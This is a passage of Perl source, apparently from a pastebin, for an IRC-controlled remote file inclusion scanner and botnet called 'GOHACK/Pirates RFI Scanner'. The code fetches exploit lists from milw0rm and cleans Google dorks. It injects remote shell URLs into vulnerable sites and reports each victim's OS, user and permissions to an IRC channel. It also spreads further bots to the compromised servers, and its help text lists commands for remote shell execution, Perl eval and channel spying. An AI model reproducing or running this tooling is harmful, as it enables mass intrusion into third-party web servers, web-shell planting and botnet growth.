  1116. while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
  1117. close FILE;
  1118. f_hapus("joomla.txt*");
  1119. return $baris;
  1120. }
  1121. else {
  1122. while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
  1123. close(FILE);
  1124. f_hapus("joomla.txt*");
  1125. return @bugz;
  1126. }
  1127. }
  1128.  
  1129. ##[ MILW0RM ]##
  1130. sub milw0rm {
  1131. my ($chan,$key) = @_;
  1132. my $max = 10; my $i;
  1133. #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
  1134. my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
  1135. irc_msg($chan,"[milw0rm.com] $key ");
  1136. while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
  1137. $i++;
  1138. my ($exp,$judul) = ($1,$2);
  1139. irc_msg($chan,$colz{1}." $judul http://milw0rm.com/exploits/$exp ");
  1140. sleep(1);
  1141. return if ($i == $max);
  1142. }
  1143. }
  1144.  
  1145. ##[ BERSIH DORK ]##
  1146. sub bersihdork {
  1147. my ($chan,$dork) = @_;
  1148. if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
  1149. irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
  1150. $dork =~ s/^inurl://g;
  1151. $dork =~ s/^allinurl://g;
  1152. $dork =~ s/^intext://g;
  1153. $dork =~ s/^allintext://g;
  1154. $dork =~ s/^intitle://g;
  1155. $dork =~ s/^allintitle://g;
  1156. }
  1157. return $dork;
  1158. }
  1159.  
  1160. ##[ SORTIR LINK ]##
  1161. sub lnk_sortir {
  1162. my @unik = ();
  1163. my %ada = ();
  1164. foreach my $e ( @_ ) { next if $ada{ $e }++; push @unik, $e; }
  1165. return @unik;
  1166. }
  1167.  
  1168. ##[ SUBLINK ]##
  1169. sub lnk_sub {
  1170. my $link = $_[0];
  1171. my (@links,$path);
  1172. my ($host,@paths) = split(/\//,$link);
  1173. $host .= "/";
  1174. push (@links,$host);
  1175. foreach my $e (@paths) {
  1176. if ($e) {
  1177. $path .= $e."/";
  1178. my $sublink = $host.$path;
  1179. push (@links,$sublink);
  1180. }
  1181. }
  1182. return @links;
  1183. }
  1184.  
  1185. ##[ INFO OS ]##
  1186. sub info_os {
  1187. my $url = $_[0];
  1188. my @info;
  1189. my $h = bukasitus($url.$zfxid2."??");
  1190. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1191. while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  1192. while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  1193. while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  1194. while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  1195. while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  1196. while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  1197. while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
  1198. while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  1199. while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  1200. while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  1201. push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1202. return @info;
  1203. }
  1204.  
  1205. ##[ SAFEMODE INFO ]##
  1206. sub safemode {
  1207. my ($type,$chan,$situs,$bug,$engine) = @_;
  1208. my $safemode; my $vurn; my $sb;
  1209. if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."5".$fx29sh."?"; }
  1210. else { $vurn = $situs; $sb = $vurn; }
  1211. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  1212. if ($safe =~ /OFF/) { $safemode = "15OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; }
  1213. if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
  1214. if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; }
  1215. my $S1 = "9,1 [".$safemode."9]9[$os]0[ $sb 0]";
  1216. my $S2 = "9,1 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] ";
  1217. my $S3 = "9,1 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc ";
  1218. if ($type == 1) {
  1219. irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
  1220. ##[ SPREADING ]##
  1221. my ($q1,$q2,$q3,$q4) = (bukasitus($vurn.$spread."?"),bukasitus($vurn.$pbot."?"),bukasitus($vurn.$thebot."?"),bukasitus($vurn.$spread."?"));
  1222. if ($q1 =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
  1223. sleep($conf{sleepz});
  1224. irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
  1225. }
  1226. irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
  1227. }
  1228.  
  1229. ##[ CEK SHELL ]##
  1230. sub cek_shell {
  1231. my ($chan,$nick,$situs) = @_;
  1232. my $q = bukasitus($situs.$zfxid."?");
  1233. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$thebot."?"));
  1234.  
  1235. print $q;
  1236. if ( $q =~ /ShiroHige/ ) { safemode(2,$chan,$situs,"",""); }
  1237. else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }
  1238. }
  1239.  
  1240. ##[ NYETAK BOT hajar ]##
  1241. sub gae_bota {
  1242. my ($chan,$nick,$situs) = @_;
  1243. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"));
  1244. irc_msg($chan,$colz{1}."Proses Nyetak Bot hajar loading...");
  1245. }
  1246. ##[ NYETAK BOT ENDEL ]##
  1247. sub gae_botb {
  1248. my ($chan,$nick,$situs) = @_;
  1249. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"));
  1250. irc_msg($chan,$colz{1}."Proses Nyetak Bot ENDEL loading..");
  1251. }
  1252. ##[ NYETAK BOT PING ]##
  1253. sub gae_botc {
  1254. my ($chan,$nick,$situs) = @_;
  1255. my ($q1,$q2,$q3) = (bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?"));
  1256. irc_msg($chan,$colz{1}."Proses Nyetak Bot PING loading..");
  1257. }
  1258. ##[ NYETAK BOT MILDNET ]##
  1259. sub gae_botm {
  1260. my ($chan,$nick,$situs) = @_;
  1261. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"));
  1262. irc_msg($chan,$colz{1}."Prosesing Nyetak Bot MILDNET Loading...");
  1263. }
  1264. ##[ ENTER LINK ]##
  1265. sub entered {
  1266. my ($chan,$nick,$situs) = @_;
  1267. my ($q1,$q2) = (bukasitus($situs."??"),bukasitus($situs."??"));
  1268. irc_msg($chan,$colz{1}."ENTER LINK Please Wait...");
  1269. }
  1270. ##[ Gae BOT scan ]##
  1271. sub gaescan {
  1272. my ($chan,$nick,$situs) = @_;
  1273. my $q1 = (bukasitus($situs.$botscan."?"));
  1274. irc_msg($chan,$colz{1}."PROSES LOAD BOT scan Please Wait...");
  1275. }
  1276. ##[ Gae BOT EDAN ]##
  1277. sub gaeruwet {
  1278. my ($chan,$nick,$situs) = @_;
  1279. my $q1 = (bukasitus($situs.$botedan."?"));
  1280. irc_msg($chan,$colz{1}."PROSES LOAD BOT crot Please Wait...");
  1281. }
  1282. ##[ CEK RESPON ]##
  1283. sub cek_respon {
  1284. my $chan = $_[0];
  1285. my ($q1,$q2,$q3) = (bukasitus($zfxid),bukasitus($zfxid2),bukasitus($fx29sh));
  1286. my ($rid,$rid2,$rsh,$stat);
  1287. if ( $q1 =~ /ZFxID/ ) { $rid = "mencret"; $stat = 1; } else { $rid = "BOSOKKKK!"; $stat = 0; }
  1288. if ( $q2 =~ /ZFxID2/ ) { $rid2 = "bocor"; $stat += 1; } else { $rid2 = "BOSOKKKK!"; $stat += 0; }
  1289. if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "Suip kang"; } else { $rsh = "ERROR!"; }
  1290. irc_msg($chan,$colz{1}."ZFxID: $rid ZFxID2: $rid2".$colz{2});
  1291. return $stat;
  1292. }
  1293.  
  1294. ##[ CEK DORK ]##
  1295. sub cek_dork {
  1296. my $dork = $_[0];
  1297. foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  1298. return 0;
  1299. }
  1300.  
  1301. ##[ CEK BUG ]##
  1302. sub cek_bug {
  1303. my $bug = $_[0];
  1304. foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  1305. return 0;
  1306. }
  1307.  
  1308. ##[ RUTIN PENANGANAN FILE ]##
  1309. sub f_hapus { my $file = $_[0]; system("rm $file"); }
  1310. sub f_simpan {
  1311. my ($nf,$hc) = @_;
  1312. my $fh;
  1313. open( $fh, ">>", $nf );
  1314. my @slink = lnk_sub($hc);
  1315. foreach my $s (@slink) { print $fh "$s\n"; }
  1316. close $fh;
  1317. }
  1318. sub f_simpan2 {
  1319. my ($nf,$isi) = @_;
  1320. my $fh;
  1321. open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
  1322. }
  1323. sub f_simpan2b {
  1324. my ($nf,$isi) = @_;
  1325. my $fh;
  1326. open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
  1327. }
  1328.  
  1329. ##[ HTTP QUERY ]##
  1330. sub bukasitus {
  1331. my $url = $_[0];
  1332. my $request = HTTP::Request->new(GET => $url);
  1333. my $ua = LWP::UserAgent->new;
  1334. $ua->timeout($conf{timeout});
  1335. $ua->agent('Mozilla/5.0');
  1336. my $response = $ua->request($request);
  1337. if ($response->is_success) { return $response->content; }
  1338. else { return $response->status_line; }
  1339. }
  1340. sub bukasitus2 {
  1341. my $url = $_[0];
  1342. my $ua = LWP::UserAgent->new;
  1343. $ua->timeout($conf{timeout});
  1344. $ua->agent('Mozilla/5.0');
  1345. my $response = $ua->get($url);
  1346. if ($response->is_success) { return $response->content; }
  1347. else { return $response->status_line; }
  1348. }
  1349. sub bukasitus3 {
  1350. my $url = $_[0];
  1351. my $host = $url;
  1352. my $query = $url;
  1353. my $isi; my $kirim;
  1354. my $uagent = "Mozilla/5.0";
  1355. $host =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1356. $query =~ s/$host//;
  1357. eval {
  1358. my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
  1359. $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
  1360. print $sock $kirim;
  1361. my @r = <$sock>;
  1362. $isi = "@r";
  1363. close($sock);
  1364. };
  1365. return $isi;
  1366. }
  1367.  
  1368.  
  1369. sub SiteDomains {
  1370. my @dom = ("com","co.kr","or.kr","pe.kr","ms.kr","hs.kr","go.kr","net","org","uk",".kr","ru","it","fr","cz","com.ua","cn","ca","nl","hu","tv","li","com.au","de");
  1371. }
  1372.  
  1373. ##[ ENCODE/DECODE ]##
  1374. sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
  1375. sub urlen {
  1376. my $str = $_[0];
  1377. #$str =~ s/\+/\%2B/g;
  1378. $str =~ s/ /\+/g;
  1379. $str =~ s/@/\%40/g;
  1380. $str =~ s/\//\%2F/g;
  1381. $str =~ s/&/\%26/g;
  1382. $str =~ s/\"/\%22/g;
  1383. $str =~ s/,/\%2C/g;
  1384. $str =~ s/\\/\%5C/g;
  1385. $str =~ s/:/\%3A/g;
  1386. $str =~ s/\[/\%5B/g;
  1387. $str =~ s/\]/\%5D/g;
  1388. $str =~ s/\?/\%3F/g;
  1389. $str =~ s/\=/\%3D/g;
  1390. $str =~ s/\|/\%7C/g;
  1391. return $str;
  1392. }
  1393. sub urlde {
  1394. my $str = $_[0];
  1395. $str =~ s/\+/ /g;
  1396. $str =~ s/\%2B/\+/g;
  1397. $str =~ s/\%40/@/g;
  1398. $str =~ s/\%2E/\./g;
  1399. $str =~ s/\%2F/\//g;
  1400. $str =~ s/\%26/&/g;
  1401. $str =~ s/\%22/\"/g;
  1402. $str =~ s/\%2C/,/g;
  1403. $str =~ s/\%5C/\\/g;
  1404. $str =~ s/\%3A/:/g;
  1405. $str =~ s/\%5[B|b]/\[/g;
  1406. $str =~ s/\%5[D|d]/\]/g;
  1407. $str =~ s/\%3F/\?/g;
  1408. $str =~ s/\%3D/\=/g;
  1409. $str =~ s/\%7C/\|/g;
  1410. return $str;
  1411. }
  1412. sub cryptz { return crypt($_[0],"shirohige"); }
  1413.  
  1414. ##[ TRIMMER CRLF ]##
  1415. sub trimrn {
  1416. my $str = $_[0];
  1417. if (!$str) { return ""; }
  1418. $str =~ s/\r// if ($str);
  1419. $str =~ s/\n//;
  1420. return $str;
  1421. }
  1422.  
  1423. ##[ INFO BOT ]##
  1424. sub bot_info {
  1425. my $chan = $_[0];
  1426. my $hlogo = "[X]";
  1427. my $uname = `uname -a`;
  1428. my $uid = `id`;
  1429. my $uptime = `uptime`;
  1430. my @info = (
  1431. $hlogo."Pirates RFI Scanner $versi Info ",
  1432. $hlogo."Written under ActivePerl 5.8.8 Build 820 by Guardi4n (Reload-X) ",
  1433. $hlogo."Uname:0 $uname ",
  1434. $hlogo."Uid:0 $uid ",
  1435. $hlogo."Uptime:0 $uptime ",
  1436. );
  1437. foreach my $m(@info) { irc_msg($chan,$m); }
  1438. }
  1439.  
  1440. ##[ HELP BOT ]##
  1441. sub bot_help {
  1442. my ($chan,$level) = @_;
  1443. my $hsepz = "[X] ";
  1444. my $hlogo = "[X]".$cmdpre;
  1445. my @help; my $i;
  1446. my @hlp1 = (
  1447. $hsepz."GOHACK RFI Scanner $versi Help ",
  1448. $hlogo."scan|scan2 <bug> <dork> 12 []X[]15 Memulai scanner | scanner & Eksploit RFI ",
  1449. $hlogo."respon 12 []X[]15 Cek Respon & Injector RFI ",
  1450. $hlogo."milw0rm <keywords> 12 []X[]15 Mencari daftar bug di milw0rm ",
  1451. $hlogo."cek <target> 12 []X[]15 Cek RFI shell ",
  1452. $hlogo."info 12 []X[]15 Informasi bot ",
  1453. $hlogo."urlen|urlde <teks> 12 []X[]15 Encoder/Decoder URL ",
  1454. $hlogo."auth <password> 12 []X[]15 Login ke bot ",
  1455. );
  1456. my @hlp2 = (
  1457. $hsepz."User Commands: ",
  1458. $hlogo."joomla <bug> <dork> 15 Memulai scanner & Eksploit RFI Joomla ",
  1459. $hlogo."hitung <jumlah> 15 Mengganti hitungan proses eksploitasi ",
  1460. $hlogo."cryptz <password> 15 Membuat password yg terenkripsi ",
  1461. $hlogo."join|part <channel> 15 Join/Part channel ",
  1462. $hlogo."nick <nick> 15 Ganti nick bot ",
  1463. $hlogo."logout 15 Logout dari bot ",
  1464. );
  1465. my @hlp3 = (
  1466. $hsepz."Admin Commands: ",
  1467. $hlogo."crespon[1/2]|cshell|cspread <url> 15 Mengganti respon/injector/spread/spread2 RFI ",
  1468. $hlogo."rfipid <perintah> 15 Mengganti RFI PID ",
  1469. $hlogo."spy 15 Menampilkan konfigurasi Spy ",
  1470. $hlogo."spyhost <your chan> 15 Channel host buat spy ",
  1471. $hlogo."spychan <chan> 15 Channel yang akan di spy ",
  1472. $hlogo."spyword <regex> 15 Kata yg di akan spy ",
  1473. $hlogo."raw <perintah> 15 Perintah Raw IRC ",
  1474. $hlogo."cmd <perintah shell> 15 Mengeksekusi perintah di shell ",
  1475. $hlogo."eval <kode perl> 15 Mengeksekusi kode perl ",
  1476. $hlogo."quit 15 Quit dari IRC ",
  1477. $hlogo."keluar 15 Quit dari IRC & Matikan semua proses Perl ",
  1478. );
  1479. my @hlp4 = (
  1480. $hsepz."GOHACK RFI Scanner $versi Comand Rahasia ",
  1481. $hlogo."autoscan <bug> <dork> 15 Memulai auto RFI scanner domains ",
  1482. $hlogo."gonick <nick> 15 Mengubah nickbot ",
  1483. $hlogo."gojoin <chan> 15Join ke chan ",
  1484. $hlogo."gopart <chan> 15Part dr chan ",
  1485. $hlogo."rfiproses <RFIPID> 15Mengubah proses PID Expoid ",
  1486. $hlogo."explo <RFIEXplo> 15Mengubah proses Expoid Count ",
  1487. $hlogo."cshell <url> 15Mengubah URL injektor ",
  1488. $hlogo."goid(1|2) <url> 15Mengubah URL ID respon 1 & 2 ",
  1489. $hlogo."csp <url> 15Mengubah URL Spread ",
  1490. $hlogo."urlbot(1|2|3) <url> 15Mengubah URL Bot Spread 1,2&3 ",
  1491. $hlogo."urlcetak(1|2) <url> 15Mengubah URL Mesin Cetak Spread 1&2 ",
  1492. $hlogo."gae(bot|botendel|botping|botscan|botedan) <target> 15Proses Pencetakan Bot",
  1493. $hlogo."reonline 15 Reconect Bot ",
  1494. );
  1495. if ( $level == 1 ) { push(@help,@hlp1); }
  1496. elsif ( $level == 2 ) { push(@help,@hlp2); }
  1497. elsif ( $level == 3 ) { push(@help,@hlp3); }
  1498. elsif ( $level == 4 ) { push(@help,@hlp4); }
  1499. foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
  1500. }
  1501.  
  1502. ##[ CUSTOM MESSAGE ]##
  1503. sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
  1504. sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
  1505. sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
  1506. sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"( ".$se." ".$totr." ".$clr." )"); }
  1507. sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"( ".$se." ".$res." )"); }
  1508. sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }
  1509.  
  1510. ##[ PERINTAH RAW IRC ]##
  1511. sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }
  1512. sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
  1513. sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :..::[ PHP-BOT $versi ]::.."); }
  1514. sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
  1515. sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
  1516. sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
  1517. sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
  1518. sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
  1519. sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
  1520.  
  1521. ##############################
  1522. ##[ No crew No spam ]##
  1523. ##############################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement